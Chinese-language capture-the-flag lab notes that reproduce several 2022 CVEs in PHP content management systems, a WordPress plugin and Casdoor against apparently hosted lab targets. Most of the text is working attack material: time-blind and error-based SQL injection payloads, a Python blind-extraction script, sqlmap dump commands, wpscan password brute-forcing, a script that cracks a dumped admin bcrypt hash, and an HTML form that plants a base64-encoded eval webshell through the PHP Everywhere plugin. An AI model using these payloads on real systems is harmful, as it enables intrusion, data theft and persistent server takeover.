CVE-2022-25411
这个模板有bug 需要添加 index.php才能访问 但是静态文件中又没加
密码 admin admin888
CVE-2022-25401
安装完成访问不了可以删除 installation文件夹
框架洞挺多的
alert这里三个文件包含
这里存在一个任意sql语句执行
这里跟进api()看一下
这里可以看到自定义了一个 key请求头 并且通过 sanitizeString() 方法的过滤执行了sql语句
跟进去发现并没有预防sql注入
添加请求头尝试一下
可以看到sql语句
这里可以很明显发现是一个布尔盲注
那么怎么扩大危害呢
那么我们尝试使api返回true然后执行任意sql语句
可以看到这里是0 那么我们现在可以让他返回1
类似的思路在 api/index.php 中还存在一个任意代码执行
同样的逻辑
这里的关键在于如何构造函数
简单看一下就知道是将function作为执行函数 将其余post参数的值作为执行参数
还有其他洞可以去 github查看
但是这里远程无法实现 猜测是代理的问题
这里用alerts下的文件包含了
CVE-2022-25099
这里审了一下代码 account/confirm.php 这里没有做权限认证
并且传入了一个id参数
直接拼接进数据库查询了
这里也好绕过
preg_match('/[0-9a-f]{32}/i'
/account/confirm.php?id=id=12345678901234567890123456789012%27+or+sleep(5)%23
可以看到sql语句
我们尝试万能语句试一下
/account/confirm.php?id=id=12345678901234567890123456789012%27+or+true%23
但是在这里会抛出异常 不能继续向下走了 所以只能用时间盲注
其次在 modules/miniform/ajax_delete_message.php 还存在一处报错注入
首先这里没有做权限认证
这里传入了几个post参数
几个参数传入了下面的delete语句
可以看到这里进行了拼接 拼接成了数据库的表 我们从数据库里面随便选一个就行了
我们首先尝试如此构造
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id&iRecordID=-1 or updatexml(1,concat('$',(database())),0)#
可以看到这里的sql语句变成了这样
这里的主要原因就是 上面进行了处理强制转换成 -1了
那么我们可以在DB_COLUMN上面进行拼接
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(database())),0)#&iRecordID=-1
创建的语句就像这样了
文件包含获取shell
先传一个png
这里发现需要是zip
但是还是报错
这里直接拿过报错语句来全局搜索
可以看到这里有两个print_error
我们在这里都下上断点
发现在这里断住了
这里也很简单 就是检查你的zip有没有info.php
那么我们添加一个就行
过去之后就发现这里包含了这个info.php
靶场
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select username from wbce_users)),0)#&iRecordID=-1
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select MID(password,1,32) from wbce_users)),0)#&iRecordID=-1
$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0
DB_RECORD_TABLE=droplets&purpose=delete_record&action=delete&DB_COLUMN=id` = -1 or updatexml(1,concat('$',(select MID(password,32,64) from wbce_users)),0)#&iRecordID=-1
Qwg\/jQ37JPs2R2ARNOaGNz0kr3Na
$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg\/jQ37JPs2R2ARNOaGNz0kr3Na
这里多了个转义符
$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg/jQ37JPs2R2ARNOaGNz0kr3Na
看下怎么加密的
登录一下就行
<?php
$f = fopen("./top6000.txt",'r');
while (!feof($f)){
$pass = fgets($f);
$pass = str_replace("\n","",$pass);
if (password_verify($pass, '$2y$10$DyO3SwEqxIA5wk7uygQ5o.PE0Qwg/jQ37JPs2R2ARNOaGNz0kr3Na') === true){
echo "\n"."\n"."\n".$pass;
break;
}
}
fclose($f);
CVE-2022-24663
wpscan --url http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/ --enumerate u
wpscan --url http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/ -U test -P top1000.txt
test test 登录
<form
action="http://eci-2ze48bjbojzs44adoaeh.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
method="post"
>
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">
[php_everywhere] <?php file_put_contents("/var/www/html/1.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJ6ZiJdKTs/Pg==")); ?>[/php_everywhere]</textarea
>
<input type="submit" value="Execute" />
</form>
将action 替换成你自己的
cd wp-content/plugins
tar -zcvf every.tar.gz php-everywhere
记得启用
下断点之后发现停在这里 这里也很简单就三个eval 都下上就行了
这里在这里注册了 短代码
CVE-2022-24263
python .\sqlmap.py --batch -r D:\Download\sql.txt
python .\sqlmap.py --batch -r D:\Download\sql.txt --dbs
python .\sqlmap.py --batch -r D:\Download\sql.txt -D ctf --tables
python .\sqlmap.py --batch -r D:\Download\sql.txt -D ctf -T flag --columns
python .\sqlmap.py --batch -r D:\Download\sql.txt -D ctf -T flag -C flag --dump
CVE-2022-24223
python .\sqlmap.py --batch -r D:\Download\sql.txt
python .\sqlmap.py --batch -r D:\Download\sql.txt --dbs
python .\sqlmap.py --batch -r D:\Download\sql.txt -D atomcms --tables
python .\sqlmap.py --batch -r D:\Download\sql.txt -D atomcms -T flag --columns
python .\sqlmap.py --batch -r D:\Download\sql.txt -D atomcms -T flag -C flag --dump
CVE-2022-24124
https://github.com/casdoor/casdoor/releases?expanded=true&page=40
安装失败换一下go的源
注入的代码在这里 但是看不懂
http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=updatexml(1,version(),3)
使用报错注入可以注出版本号 但是注入其他语句的时候却不行
这里在github还发现一种注入方式 利用盲注读取数据
http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = 'r') <> name
http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = '0') <> name
呈现两种结果
import requests
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
if chr(head) ==';':
head+=1
continue
url = "http://eci-2zejd3100ns2pph9u61c.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field="
payload = "select 123"
# 查数据库 casdoor
payload = "select group_concat(schema_name) from information_schema.schemata "
# 查表 flag
payload = "select group_concat(table_name) from information_schema.tables where table_schema='casdoor'"
# 查字段 f1ag
payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# 查flag
payload = "select group_concat(flag) from flag"
url = url+f"(substring(({payload}),1,{i}) = '{result+chr(head)}') <> name"
# print(url)
r = requests.get(url)
if "admin" in r.text:
result+=chr(head)
print(result)
break
head += 1
CVE-2022-23906
admin 123456
CVE-2022-23880
admin tao
CVE-2022-23366
python .\sqlmap.py --batch -r D:\Download\sql.txt -dbs
python .\sqlmap.py --batch -r D:\Download\sql.txt -D ctf -T flag -C flag --dump